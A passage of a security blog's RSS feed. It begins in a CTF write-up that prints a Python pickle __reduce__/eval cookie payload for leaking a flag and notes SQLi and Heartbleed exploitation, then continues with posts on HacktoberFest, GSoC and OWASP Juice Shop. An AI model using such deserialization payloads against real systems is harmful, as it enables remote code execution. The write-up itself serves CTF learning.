&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;class Epoch(object):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    def __init__(self, timestamp):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        self.ts = timestamp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    def __reduce__(self):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        return (eval, ((&apos;Epoch(flag)&apos;),))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;def lambda_handler(event,con):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    epoch = Epoch(&quot;31337&quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    cookie = base64.b64encode(pickle.dumps(epoch))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    return {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &apos;statusCode&apos;: 200,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &apos;Exploit-Cookie&apos;: cookie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To manipulate it, we have the &lt;code&gt;__reduce__&lt;/code&gt; method which will govern the object creation upon successful unpickling. The above code returns a tuple with the first argument being the callable and second being the argument. The result of unpickling the pickled byte-stream of the above class’s instance will be &lt;code&gt;eval(&apos;Epoch(flag)&apos;)&lt;/code&gt; getting executed and the result of eval getting directly returned.&lt;/p&gt;
&lt;p&gt;In this case, it will be an instance of Epoch class getting initialized with flag variable and the variable containing flag string will get reflected into the HTML by the following code.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;epoch = pickle.loads(base64.b64decode(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    event[&apos;multiValueHeaders&apos;][&apos;cookie&apos;][0]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;return {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   &apos;body&apos;: clock_page(epoch.ts)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So with our exploit, it will indirectly mean,&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;epoch = Epoch(flag)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this way, we successfully get the value of the flag variable in the &lt;code&gt;ts&lt;/code&gt; class variable.&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Following are the challenges that were not much exciting compared to tick-tock:&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;2-Lighthouse&quot;&gt;2. Lighthouse&lt;/h3&gt;
&lt;p&gt;Challenge had an android app. Upon reversing and analyzing the apk, It was clear that the app is taking flag string from native code, changing it to morse code string and using it to light the flash of the phone.&lt;br&gt;
I had multiple ideas to solve it but I solved it by using a &lt;a href=&quot;https://github.com/matja/video-morse-decode&quot;&gt;C++ tool&lt;/a&gt; which converts a video to morse code. I was not very sure that it was good enough to detect the morse code from the video stream of phone flash But I gave it a try anyway, The code is outdated and hence it was not getting compiled, made some tweaks to the C++ code so that it should compile. I recorded a video of phone flashing and fed it the compiled binary. It worked like a charm.&lt;/p&gt;
&lt;h3 id=&quot;3-Shake-it&quot;&gt;3. Shake it&lt;/h3&gt;
&lt;p&gt;This also was consisting of an android app. As its name suggests, It was counting down the 10 million shakes of the phone and upon completion of those many shakes, it would reveal the flag string stored in native code.&lt;br&gt;
Decompiled the apk using &lt;code&gt;apktool&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ apktool d shake-it.apk&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;updated the smali code which was initializing this counter of 10 mils. to 10.&lt;/p&gt;
&lt;p&gt;0xF4240 -&amp;gt; 0xA in the MainActivity.smali&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt; // In MainActivity.smali&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;.field private static final TARGET:I = 0xF4240&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  			to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;.field private static final TARGET:I = 0xA&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Built the apk again.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ apktool b shake-it -o shake-it-modified.apk&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Self-signed it.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ keytool -genkey -v -keystore key.keystore -alias self -keyalg RSA -keysize 2048 -validity 10000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore shake-it-modified.apk self&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Installed the apk and shaken the phone ten times, got the flag!&lt;/p&gt;
&lt;h3 id=&quot;4-Who-s-Sequel&quot;&gt;4. Who’s Sequel&lt;/h3&gt;
&lt;p&gt;This challenge had a login form. Upon fuzzing it was clear that it was vulnerable to Blind SQLi. Dumping the table using SQLMap revealed the flag in the last row of one of the tables.&lt;/p&gt;
&lt;h3 id=&quot;5-Heart-of-Stone&quot;&gt;5. Heart of Stone&lt;/h3&gt;
&lt;p&gt;The Challenge name and Server header in response gave away the hint of HeartBleed (CVE-2014-0160), Exploited and read the memory containing the flag.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Due to work and other stuff, I don’t get much time to participate in CTFs for fun. But I recently formed a CTF team, &lt;a href=&quot;https://github.com/TeamUnderdawgs&quot;&gt;&lt;strong&gt;UnderDawgs&lt;/strong&gt;&lt;/a&gt; with &lt;a href=&quot;https://twitter.com/0xrudrapratap&quot;&gt;Rudra&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/ArbazKiraak&quot;&gt;Arbaz&lt;/a&gt; and we are actively looking for people experienced in Pwn, Crypto and Reversing CTF challenges. If you think you can contribute to the team, Please reach out.&lt;/p&gt;
&lt;p&gt;Thanks for reading.&lt;/p&gt;
&lt;p&gt;Hack the Planet,&lt;br&gt;
CaptainFreak&lt;/p&gt;
</content:encoded><category>BugBounty</category><category>CTF</category><category>Facebook</category><category>Hacking</category><category>WebSecurity</category><author>Shoeb Patel</author></item><item><title>CaptainFreak Experience #1 - HacktoberFest 2018</title><link>https://research.shoebpatel.com/2018/10/20/CaptainFreak-Experience-1-HacktoberFest-2018/</link><guid isPermaLink="true">https://research.shoebpatel.com/2018/10/20/CaptainFreak-Experience-1-HacktoberFest-2018/</guid><description>Oh hello there, It&apos;s your friendly neighbourhood hacker again:) This raw post is supposed to be a documentation of my experiences in contributing to some of my favorite open source projects for HacktoberFest 2018. Along the way I will try to give insights on how I did it, Expecting it might help…</description><pubDate>Sat, 20 Oct 2018 17:57:10 GMT</pubDate><content:encoded>&lt;p&gt;&lt;br&gt;&lt;!-- --&gt;&lt;br&gt;
Oh hello there, It’s your friendly neighbourhood hacker again :)&lt;br&gt;
&lt;br&gt;&lt;!-- --&gt;&lt;br&gt;
&lt;img src=&quot;https://media.giphy.com/media/2UA9gXDkCbKIKlLKxd/giphy-downsized.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;!-- --&gt;&lt;/p&gt;
&lt;p&gt;This raw post is supposed to be a documentation of my experiences in contributing to some of my favorite open source projects for HacktoberFest 2018.&lt;br&gt;
Along the way I will try to give insights on how I did it, Expecting it might help someone kickoff and start learning from contributing to FOSS.&lt;/p&gt;
&lt;h2 id=&quot;HacktoberFest-2018&quot;&gt;HacktoberFest 2018&lt;/h2&gt;
&lt;p&gt;Let’s start this with gentle introduction to purpose behind all of it. HacktoberFest (Hack + &lt;code&gt;October&lt;/code&gt; + Fest) is an yearly celebration by Github for luring people into contributing to FOSS.&lt;br&gt;
Github and sponsors of HacktoberFest offer a pretty T-shirt as swag to people who complete HacktoberFest challenge of submitting 5 non-spam Pull Requests to any of the FOSS project on Github. Well you can easily submit BullShit PRs and get that Github Swag as can be seen very clearly (〜￣△￣)〜&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;!-- --&gt;&lt;br&gt;
&lt;img src=&quot;/2018/10/20/CaptainFreak-Experience-1-HacktoberFest-2018/htf.png&quot; alt=&quot;Top HacktoberFest Repositories&quot; title=&quot;Top HacktoberFest Repositories&quot;&gt;&lt;/p&gt;
&lt;center&gt; &lt;em&gt;Top HacktoberFest Repositories&lt;/em&gt;  &lt;/center&gt;
&lt;p&gt;HacktoberFest’s swag is too pretty to be earned like this and also one shouldn’t miss on such good opportunity to learn and feel proud by contributing to the communities favorite projects. ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯&lt;/p&gt;
&lt;p&gt;Ok with all the ranting out of the way :P, lets get over with it.&lt;/p&gt;
&lt;h2 id=&quot;GitDump&quot;&gt;GitDump&lt;/h2&gt;
&lt;p&gt;I started of small with contributing to a simple project which aims to be a plug before merging a PR commited with secret credentials(API keys, token, passwords etc) of third party service. If this commit histories with valid credentials are mined by an adversary, it can cause massive breaches/compromises and hence a hell lot of trouble for organizations. Small but useful script, enhanced it with some more keywords to look for.&lt;br&gt;
PR : &lt;a href=&quot;https://github.com/prateek-0490/GitDump/pull/2&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;Reconnoitre&quot;&gt;Reconnoitre&lt;/h2&gt;
&lt;p&gt;As its description says, “A security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing”. In a nutshell its a tool written in python to automate information discovery, more relevant on OSCP lab machines. Initially I wanted to contribute to its core functionality but ended up contributing a standard setup module.&lt;br&gt;
PR : &lt;a href=&quot;https://github.com/codingo/Reconnoitre/pull/67&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;NoSQLMap&quot;&gt;NoSQLMap&lt;/h2&gt;
&lt;p&gt;Again its a python tool to automate detection and exploitation of NoSQL Injection Web Attack. Previously I had used it for checking my own written vulnerable code and even though its pretty robust tool, It wasn’t able to detect the context of injection which my code had. I had decided to someday contribute and enhance it to detect the injection in this context. What’s better time than HacktoberFest for this :). Looked into it again and found that it was getting stuck in some trivial loop before firing payloads. Fixed this bug and further will be trying to enhance it with some payloads.&lt;br&gt;
PR : &lt;a href=&quot;https://github.com/codingo/NoSQLMap/pull/71&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;Subfinder-♥&quot;&gt;Subfinder ♥&lt;/h2&gt;
&lt;p&gt;This is one of those tools which I or any of the hunters out there can’t live without. Respect 100. It’s a subdomain enumeration tool with tons of relevant and reliable passive sources of domain discovery and also bundles in bruteforce engine, resolvers etc. I was supposed to be contributing to it from its initial days but due to my incompatibility with Golang and other commitments, I couldn’t. But took a strike at it again with hacktoberfest. Took a hurried look over Golang for an hour and I was ready to contribute as it is very well structured tool with lots of modularity and it made me focus on logic flow instead of worrying about syntactic unfamiliarities. I added another passive source called &lt;a href=&quot;https://urlscan.io/&quot;&gt;&lt;code&gt;Urlscan.io&lt;/code&gt;&lt;/a&gt; to it.&lt;br&gt;
PR : &lt;a href=&quot;https://github.com/subfinder/subfinder/pull/148&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;Metasploit-❤❤&quot;&gt;Metasploit ❤❤&lt;/h2&gt;
&lt;p&gt;Oh this tool should not require any introduction because that would be disrespect to it. But still for you suckers who don’t know, It’s a de facto penetration testing framework written in Ruby with 539+ payloads ready to shoot with 1800+ publicly disclosed exploits with 40+ encoders. Frameworks are meant to make the things easy, and I can’t think of another framework which beats Metasploit in that regards. Over that its very very well written, designed and structured piece of software with an extensive contribution guide. One of the best open source project and community. I can just go on and on praising it &amp;lt;3&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;!-- --&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/3q3QK6KyDVUBzih7hB/giphy.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;!-- --&gt;&lt;/p&gt;
&lt;p&gt;I had used metasploit in the past but not very extensively and had not enumerated it’s all features. Still being naive, directly jumped into its massive codebase :P. I had not even written a simple Ruby program of &lt;code&gt;puts &quot;Hello Ruby&quot;&lt;/code&gt; before. As expected failed miserably to understand it’s internals. Started off again from enumerating metasploit and learning Ruby. After that it was relatively clear. Found a simple issue of adding enhancement of TCP protocol to its &lt;code&gt;SNMP Login Scanner&lt;/code&gt; along with its implementation of UDP. Learned a lot about project’s core, Ruby, SNMP, its use and its significance in information gathering for pentesting networks. Metasploit community is very strict regarding merging PRs, I guess it will take a lot of polishing before my PR gets ready to merge as it’s my first one.&lt;br&gt;
PR : &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/pull/10841&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;br&gt;&lt;!-- --&gt;&lt;br&gt;
&lt;img src=&quot;/2018/10/20/CaptainFreak-Experience-1-HacktoberFest-2018/htfrepos.png&quot; alt=&quot;HacktoberFest Contribution List&quot; title=&quot;HacktoberFest Contribution List&quot;&gt;&lt;br&gt;
&lt;br&gt;&lt;!-- --&gt;&lt;br&gt;
Ok, that’s it folks. It was very less time for such challenge to be completed but I tried, Maybe I could have tried harder. Anyway, October is still young. I would suggest to contribute to FOSS, earn knowledge and a bonus T-shirt with it. If you are not able to understand any of the mentioned things go to this &lt;a href=&quot;http://bfy.tw/KSuS&quot;&gt;Magical Link&lt;/a&gt;. I am still a script kiddie 😇 hence if you feel something is erroneous/inaccurate, feel free to comment below.&lt;/p&gt;
&lt;p&gt;Shoutout to &lt;a href=&quot;https://twitter.com/hdmoore&quot;&gt;@hdmoore&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/_sinn3r&quot;&gt;@sinn3r&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/Ice3man543&quot;&gt;@Ice3man&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/codingo_&quot;&gt;@codingo_&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/prateek_0490&quot;&gt;@prateek&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/in/rahuldhawan291&quot;&gt;@rahuldhawan291&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/manasmahapatra301212&quot;&gt;@manasmahapatra&lt;/a&gt; for all these awesome projects and help.&lt;/p&gt;
&lt;p&gt;Cheers to Hackery and Growth,&lt;br&gt;
CaptainFreak&lt;/p&gt;
</content:encoded><category>Infosec</category><category>OpenSource</category><category>FOSS</category><author>Shoeb Patel</author></item><item><title>Google Summer of Code 101</title><link>https://research.shoebpatel.com/2018/08/18/Google-Summer-of-Code-2018/</link><guid isPermaLink="true">https://research.shoebpatel.com/2018/08/18/Google-Summer-of-Code-2018/</guid><description>Google Summer of Code or famously known as &quot;GSoC&quot; is an initiative by Google to enhance the Open Source culture and projects. Open source softwares are at the core of every thing related to computer science. If you are a computer science student and are not using any open source…</description><pubDate>Sat, 18 Aug 2018 02:58:15 GMT</pubDate><content:encoded>&lt;h1 id=&quot;Google-Summer-of-Code-101&quot;&gt;Google Summer of Code 101&lt;/h1&gt;
&lt;p&gt;Google Summer of Code or famously known as &lt;code&gt;&quot;GSoC&quot;&lt;/code&gt; is an initiative by Google to enhance the Open Source culture and projects. Open source softwares are at the core of every thing related to computer science. If you are a computer science student and are not using any open source tool/application/software/framework/platform/library and language then there’s something really wrong with you. Even though the importance of open source projects being &lt;strong&gt;gigantic&lt;/strong&gt;, most of this projects are made out of hobby or fun by their respective project leads, and as there is no direct incentive of monetization of this projects they lack the pace of development like proprietry or enterprise softwares. To eradicate this, every year Google organizes the GSoC underwhich the potential(which have better impact and use-case) open source projects and students work for enhancing the projects.&lt;/p&gt;
&lt;p&gt;As you can see, its a great initiative where you being a student contribute to some great project which actually enhances people’s lives, productivity, pace of invention and &lt;strong&gt;&lt;code&gt;makes this world a better place&lt;/code&gt;&lt;/strong&gt;. LOL !&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/3oEdv7vedu6iAZoqTS/giphy.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                                                           - Classic Gavin Belson (Silicon Valley, HBO)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note : Do yourself a favour and watch Silicon Valley and Mr.Robot if you havent already.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Every year thousands of student apply for GSoC from around the world and only nearly a thousad student(1,264 in 2018) get accepted. Lots of Competition. There was’nt any proper guide when last time I checked which elaborates on how to properly apply and maximize the chance of acceptance. As I have completed GSoC 2018 succesfully, I have some insights to share.&lt;br&gt;
If you are planning to apply for GSoC or don’t have anything productive to do right now, Read along :)&lt;/p&gt;
&lt;h2 id=&quot;Prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;1.&lt;strong&gt;Proper knowledge of any VCS(Version Control System)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mostly projects use &lt;code&gt;git&lt;/code&gt; as their primary VCS and Github or Bitbucket as their VCS hosting service, so I would recommend learning Git and collaboration on Github.&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;Any one of the following language&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C,C++,Python,Java and Javascript.&lt;br&gt;
Projects which use other languages are also present but for a fresher this are the easy and manadatory ones to know. Also if you know more languages you will have more options to choose from.&lt;/p&gt;
&lt;p&gt;3.&lt;strong&gt;Couple of relevant personal open sourced projects (not mandatory, but why not ?)&lt;/strong&gt;&lt;br&gt;
4.&lt;strong&gt;Hunger for knowledge ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;Prereparation&quot;&gt;Prereparation&lt;/h2&gt;
&lt;p&gt;Before even thinking about applying to GSoC you should be using atleast some open source software and must have interest in some sub-field (Machine/Deep learning, Artificial Intelligence, Algo-DS, Operating Systems, Database Systems, Networking, Security, Development etc.) of computer science. The below preparation must start before 2-3 months of official GSoC start date.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Head over to previous year’s GSoC &lt;a href=&quot;https://summerofcode.withgoogle.com/archive/&quot;&gt;Archives&lt;/a&gt; (These projects are most likely to come again) and search for the project/organization you would like to contribute to according to your interest.&lt;/li&gt;
&lt;li&gt;Use the software as normal user is supposed to and enumerate each and every way of using it.&lt;/li&gt;
&lt;li&gt;Align your learnings of tech stack and knowledge as required for that project or preferabely choose the one that aligns with yours.&lt;/li&gt;
&lt;li&gt;Head over to that project’s source code repository, setup the Dev-environment, read the docs and other relevant material extensively.&lt;/li&gt;
&lt;li&gt;Get totally familiar with source code(will be initimidating at first but can get really easy if you do second step thoroughly).&lt;/li&gt;
&lt;li&gt;Contact the project lead/Community on given communication channel, ask them doubts, bugs to fix, feature enhancements etc.&lt;/li&gt;
&lt;li&gt;Ask them to assign any task to you.&lt;/li&gt;
&lt;li&gt;Start Contributing.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;Application&quot;&gt;Application&lt;/h2&gt;
&lt;p&gt;After selected organizations get announced(mostly in month of February) and if your selected projects and organizations are there then no worries as at this point of time you would have contributed much to the project. If they aren’t then start the preparation for the selected ones again.&lt;br&gt;
Applying to GSoC consists of writing a detailed proposal of your project which highlights the purpose of project, each and every enhancement you will add during coding phase of GSoC and reasons that make you fit for the project. This needs not to be in some formal format but also should not be very informal. Proposal writing can be daunting and hard if you have not done the proper preparation as mentioned above and will not reflect the experience. This will lead to project rejection very easily. In my case the application phase of GSoC was just a formality because I had contributed and had bonded with the community of my project in a very good way. Also there aren’t many successful proposal templates shared openly. If you are not able to decide the structure of your proposal, you can have a look at mine &lt;a href=&quot;https://docs.google.com/document/d/14kw1CJdKlCqISlfgNgK4OHkQzaC51TtXa5k7Hvb7Exs/edit?usp=sharing&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;Learnings&quot;&gt;Learnings&lt;/h2&gt;
&lt;p&gt;Learnings during GSoC can vary person to person depending on their prior experience. But for me the learning and experience gain curve was very steep. The software development concepts like Test writing, Collaborated developement, working with large code-bases, Maintainable coding etc. are not just concepts for me anymore as I had thorough hands-on. Also the computer science/technology concepts on which your project is based on will become your expertise. ;)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://imgs.xkcd.com/comics/git.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;Perks&quot;&gt;Perks&lt;/h2&gt;
&lt;p&gt;Mention of successful completion of Google Summer of Code on your resume depicts that you know how to work on codebases of softwares which have actual user bases unlike the personal projects. GSoC is much more prestigious than internship in any low tier startup/company. So I would recommend to students of freshmen and sophomore year to apply for GSoC. Its a win-win situation for everybody involved. Students get valuable experience and hepty &lt;a href=&quot;https://developers.google.com/open-source/gsoc/help/student-stipends&quot;&gt;stipend&lt;/a&gt;. Open Source projects get enhanced. Google’s incentive of &lt;code&gt;making this world a better place&lt;/code&gt; LOL X) gets completed.&lt;/p&gt;
&lt;p&gt;If you haven’t already read my GSoC project report, read it &lt;a href=&quot;/2018/08/05/OWASP-Juice-Shop-Challenge-Pack-2018-GSoC-project-report/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Hope you picked up some tips ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯&lt;br&gt;
Keep Contributing, Keep Hacking !&lt;br&gt;
CaptainFreak&lt;/p&gt;
</content:encoded><category>GSoC 2018</category><category>OWASP</category><category>GSoC</category><author>Shoeb Patel</author></item><item><title>OWASP Juice Shop : Challenge Pack 2018 (GSoC project report)</title><link>https://research.shoebpatel.com/2018/08/05/OWASP-Juice-Shop-Challenge-Pack-2018-GSoC-project-report/</link><guid isPermaLink="true">https://research.shoebpatel.com/2018/08/05/OWASP-Juice-Shop-Challenge-Pack-2018-GSoC-project-report/</guid><description>This post is supposed to be a report of work done under the project &quot;ChallengePack 2018&quot; of Juice Shop which I did as Student Developer at OWASP as part of Google Summer of Code 2018. For those who are unaware of what Juice Shop is, please do check it out. Its an intentionally kept vulnerable web…</description><pubDate>Sat, 04 Aug 2018 18:33:29 GMT</pubDate><content:encoded>&lt;h1 id=&quot;OWASP-Juice-Shop-Challenge-Pack-2018&quot;&gt;OWASP Juice Shop Challenge Pack 2018&lt;/h1&gt;
&lt;p&gt;This post is supposed to be a report of work done under the project &lt;a href=&quot;https://summerofcode.withgoogle.com/projects/#6618613964865536&quot;&gt;“ChallengePack 2018”&lt;/a&gt; of &lt;a href=&quot;https://github.com/juice-shop/juice-shop&quot;&gt;Juice Shop&lt;/a&gt; which I did as Student Developer at OWASP as part of &lt;a href=&quot;https://summerofcode.withgoogle.com&quot;&gt;Google Summer of Code 2018&lt;/a&gt;. For those who are unaware of what Juice Shop is, please do check it out. Its an intentionally kept vulnerable web application which aims to be a learning/practising resource for Web Developer as well as Web Security Enthusiasts. Instead of just making a dry report I will try to document the things that I learned while completing each task that was proposed. I hope it will benefit the future contributers/GSoC students of Juice Shop/WebDevelopers/Hackers as a documentation and will hold the information about what has been happening to Juice Shop over the course of Summer 2018. I will also show exactly which lines of code were made vulnerable to introduce each challenge. Before hand I would like to say that I am still a noob 🤷‍ and have no expertise in WebSecurity and Web Development, So if you feel that something is incorrect then I am totally open to positive criticism. Please comment your thoughts below :). So without further ado, Lets get this started.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/26h0poAzDM5h8gHWE/giphy.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Under Google Summer of Code 2018, Juice Shop had two projects, One was my &lt;code&gt;Challenge Pack 2018&lt;/code&gt; whose work is under &lt;a href=&quot;https://github.com/juice-shop/juice-shop/tree/gsoc-challenges&quot;&gt;gsoc-challenges&lt;/a&gt; branch and other project was &lt;code&gt;Frontend Upgrade&lt;/code&gt; by &lt;a href=&quot;https://github.com/Aashish683&quot;&gt;@Aashish&lt;/a&gt; whose work is under &lt;a href=&quot;https://github.com/juice-shop/juice-shop/tree/gsoc-frontend&quot;&gt;gsoc-frontend&lt;/a&gt; branch.&lt;/p&gt;
&lt;h2 id=&quot;Tests-For-Old-School-XSS-Challenge&quot;&gt;Tests For “Old-School XSS” Challenge&lt;/h2&gt;
&lt;p&gt;Previously (Before start of official coding phase of GSoC), I had designed and added the functionality of tracking user orders and challenge of “Reflected XSS” around it but Unit, Integration and E2E tests for the functinality and challenge were remaining because I was not very good at the test writing technologies of Juice Shop. This PR took quite a lot of time to get complete and merge but along the way I learned about those technologies and purpose of writing tests.&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/567&quot;&gt;XSS Challenge Tests&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;Lateral-Privilege-Escalation-Insecure-Direct-Object-Reference-Challenge&quot;&gt;“Lateral Privilege Escalation/Insecure Direct Object Reference” Challenge&lt;/h2&gt;
&lt;p&gt;Although Juice Shop is meant to be fully vulnerable, this bug was unintentinal one and was reported by another user in an &lt;a href=&quot;https://github.com/juice-shop/juice-shop/issues/538&quot;&gt;issue&lt;/a&gt;. Any user was able to post product reviews as any user. The challenge got designed as to post a forged review as another user. It was kind of reassuring to see that even security aware developers can write vulnerable code and vulnerabilities will be always out there.&lt;/p&gt;
